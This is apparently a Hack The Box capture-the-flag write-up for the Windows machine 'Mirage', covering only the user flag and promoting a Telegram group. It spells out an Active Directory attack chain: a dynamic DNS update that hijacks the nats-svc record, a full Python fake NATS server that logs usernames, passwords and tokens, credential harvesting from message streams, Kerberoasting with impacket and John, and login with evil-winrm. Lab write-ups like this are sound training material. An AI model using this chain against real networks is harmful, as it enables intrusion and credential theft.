Mirage - Hack The Box
Platform: Windows
IP: 10.129.241.132
Difficulty: Hard
Author: NoSec
🚨 Follow live on HTB — leaks, drops, and in-depth writeups 👉 t.me/nosecpwn Don't read. Join.
Recon
nmap -sVC mirage.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 16:39 CEST
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.28% done; ETC: 16:41 (0:00:01 remaining)
Nmap scan report for mirage.htb (10.129.241.132)
Host is up (0.12s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-22 14:39:55Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-07-22T14:40:43
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.40 seconds
Discovering and Mounting NFS Shares
Mounting the found NFS share:
showmount -e mirage.htb
sudo mount -t nfs mirage.htb:/MirageReports /mnt
Then copy the files to your own folder:
sudo cp /mnt/Incident_Report_Missing_DNS_Record_nats-svc.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo cp /mnt/Mirage_Authentication_Hardening_Report.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo chown <your_user>:<your_user> Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf
Important Environmental Information (from PDF)
Information obtained from the PDFs:
- NTLM is disabled, only Kerberos works.
- The DNS record for the hostname
nats-svc.mirage.htb
is missing.
This means that NTLM-based attacks are excluded, and only Kerberos-based devices can be used.
Kerberos Configuration
Configure Kerberos (krb5.conf
):
[libdefaults]
default_realm = MIRAGE.HTB
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
fcc-mit-ticketflags = true
[realms]
MIRAGE.HTB = {
kdc = 10.129.241.132
admin_server = 10.129.241.132
}
Preparing DNS Hijacking
Prepare the DNS record modification:
nano dns.txt
Then write:
server 10.129.241.132
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send
Starting the fake NATS server (credentials capture)
Start the fake NATS server, which will capture the login details:
#!/usr/bin/env python3
import socket
import threading
import json
from datetime import datetime
class FakeNATSServer:
def __init__(self, host='0.0.0.0', port=4222):
self.host = host
self.port = port
self.active = False
self.client_list = []
def log(self, message):
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[{timestamp}] {message}")
def handle_client(self, connection, address):
self.log(f"🔌 New connection from: {address[0]}:{address[1]}")
try:
# Sending an 'INFO' message as a real NATS server would
info = {
"server_id": "eng-fake-nats",
"version": "2.9.0",
"proto": 1,
"host": self.host,
"port": self.port,
"max_payload": 1048576,
"client_id": len(self.client_list)
}
connection.send(f"INFO {json.dumps(info)}\r\n".encode())
self.log("📤 INFO sent to client")
while self.active:
try:
data = connection.recv(4096)
if not data:
break
incoming = data.decode('utf-8', errors='ignore').strip()
self.log(f"📨 Incoming message: {repr(incoming)}")
lines = incoming.split('\r\n')
for line in lines:
if line:
self.parse_message(line, address)
connection.send(b"+OK\r\n")
except socket.timeout:
continue
except Exception as error:
self.log(f"Error with client {address}: {error}")
break
except Exception as general_error:
self.log(f"Connection error: {general_error}")
finally:
self.log(f"❌ Connection closed: {address[0]}:{address[1]}")
connection.close()
if connection in self.client_list:
self.client_list.remove(connection)
def parse_message(self, line, address):
"""Processing NATS protocol messages"""
parts = line.split(' ', 1)
command = parts[0].upper() if parts else ''
if command == 'CONNECT':
try:
json_data = parts[1] if len(parts) > 1 else '{}'
data = json.loads(json_data)
self.log(f"🔐 CONNECT - {json.dumps(data, indent=2)}")
# Logging possible sensitive info
if 'user' in data:
self.log(f"🎯 USERNAME: {data['user']}")
if 'pass' in data:
self.log(f"🎯 PASSWORD: {data['pass']}")
if 'auth_token' in data:
self.log(f"🎯 TOKEN: {data['auth_token']}")
if 'sig' in data:
self.log(f"🎯 SIGNATURE: {data['sig']}")
if 'jwt' in data:
self.log(f"🎯 JWT: {data['jwt']}")
except json.JSONDecodeError:
self.log(f"⚠️ Invalid CONNECT format: {line}")
elif command == 'SUB':
self.log(f"📥 Subscription: {line}")
elif command == 'PUB':
self.log(f"📤 Publish: {line}")
elif command == 'PING':
self.log("🏓 PING received")
elif command == 'PONG':
self.log("🏓 PONG received")
elif command == 'MSG':
self.log(f"📬 Message: {line}")
else:
self.log(f"❓ Unknown command: {line}")
def start(self):
self.active = True
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_socket.bind((self.host, self.port))
server_socket.listen(5)
self.log(f"🚀 Fake NATS server running at {self.host}:{self.port}")
self.log("🧲 Waiting for connections...")
while self.active:
try:
client_conn, client_address = server_socket.accept()
client_conn.settimeout(30)
self.client_list.append(client_conn)
thread = threading.Thread(target=self.handle_client, args=(client_conn, client_address))
thread.daemon = True
thread.start()
except socket.error as err:
if self.active:
self.log(f"⚠️ Socket error: {err}")
except Exception as e:
self.log(f"🔥 Server error: {e}")
finally:
server_socket.close()
self.log("🛑 Server stopped.")
def stop(self):
self.active = False
for client in self.client_list:
client.close()
def main():
server = FakeNATSServer()
try:
server.start()
except KeyboardInterrupt:
print("\n[+] Exiting, stopping server...")
server.stop()
if __name__ == "__main__":
print("🎭 Fake NATS Server - Credential Trap")
print("=" * 60)
main()
python nats.py
🎭 Fake NATS Server - Credential Trap
============================================================
[2025-07-22 17:04:20] 🚀 Fake NATS server running at 0.0.0.0:4222
[2025-07-22 17:04:20] 🧲 Waiting for connections...
[2025-07-22 17:04:26] 🔌 New connection from: 10.129.241.132:61370
[2025-07-22 17:04:26] 📤 INFO sent to client
[2025-07-22 17:04:27] 📨 Incoming message: 'CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7*******","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}\r\nPING'
[2025-07-22 17:04:27] 🔐 CONNECT - {
"verbose": false,
"pedantic": false,
"user": "Dev_Account_A",
"pass": "hx5h7******",
"tls_required": false,
"name": "NATS CLI Version 0.2.2",
"lang": "go",
"version": "1.41.1",
"protocol": 1,
"echo": true,
"headers": false,
"no_responders": false
}
[2025-07-22 17:04:27] 🎯 USERNAME: Dev_Account_A
[2025-07-22 17:04:27] 🎯 PASSWORD: hx5h7*******
[2025-07-22 17:04:27] 🏓 PING received
[2025-07-22 17:04:27] ❌ Connection closed: 10.129.241.132:61370
^C[2025-07-22 17:05:32] 🛑 Server stopped.
[+] Exiting, stopping server...
Obtaining credentials
If everything went well, we will capture the credentials:
USERNAME: Dev_Account_A
PASSWORD: hx5h7F5*******
Using NATS CLI
Install natscli
and check the NATS server:
curl -sSL https://raw.githubusercontent.com/upciti/wakemeops/main/assets/install_repository | sudo bash
sudo apt update
sudo apt install natscli
nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'
Create a "consumer":
nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'
Settings:
- Start policy: all
- Acknowledgment policy: explicit
- Replay policy: original
- Deliver headers only: No
Download the messages:
nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'
We receive:
{"user":"david.jjackson","password":"pN8kQ******","ip":"10.10.10.20"}
Obtaining a Kerberos Ticket Granting Ticket (TGT)
Request a TGT:
impacket-getTGT mirage.htb/david.jjackson:'pN8kQ******'
export KRB5CCNAME=david.jjackson.ccache
Enumerate SPNs and TGS tickets:
impacket-GetUserSPNs -k -no-pass -dc-host dc01.mirage.htb mirage.htb/ -request
Break the hash with John:
john nathan.txt --wordlist=/usr/share/wordlists/rockyou.txt
Password obtained:
3ed******
Log in to WinRM
Request a TGT with the Nathan Aadam account:
impacket-getTGT mirage.htb/nathan.aadam:'3ed******'
export KRB5CCNAME=nathan.aadam.ccache
Log in:
evil-winrm -i dc01.mirage.htb -r mirage.htb
Obtaining the User Flag
List the flag:
*Evil-WinRM* PS C:\Users\nathan.aadam\Desktop> ls
Directory: C:\Users\nathan.aadam\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/4/2025 1:01 PM 2312 Microsoft Edge.lnk
-ar--- 7/22/2025 5:55 AM 34 user.txt
✅ User flag obtained!
🔐 The root part is only available in the private Telegram group while the machine is active in Season 8.
👉 Join us for the full writeup, extra tips, and insider content: 📡 https://t.me/nosecpwn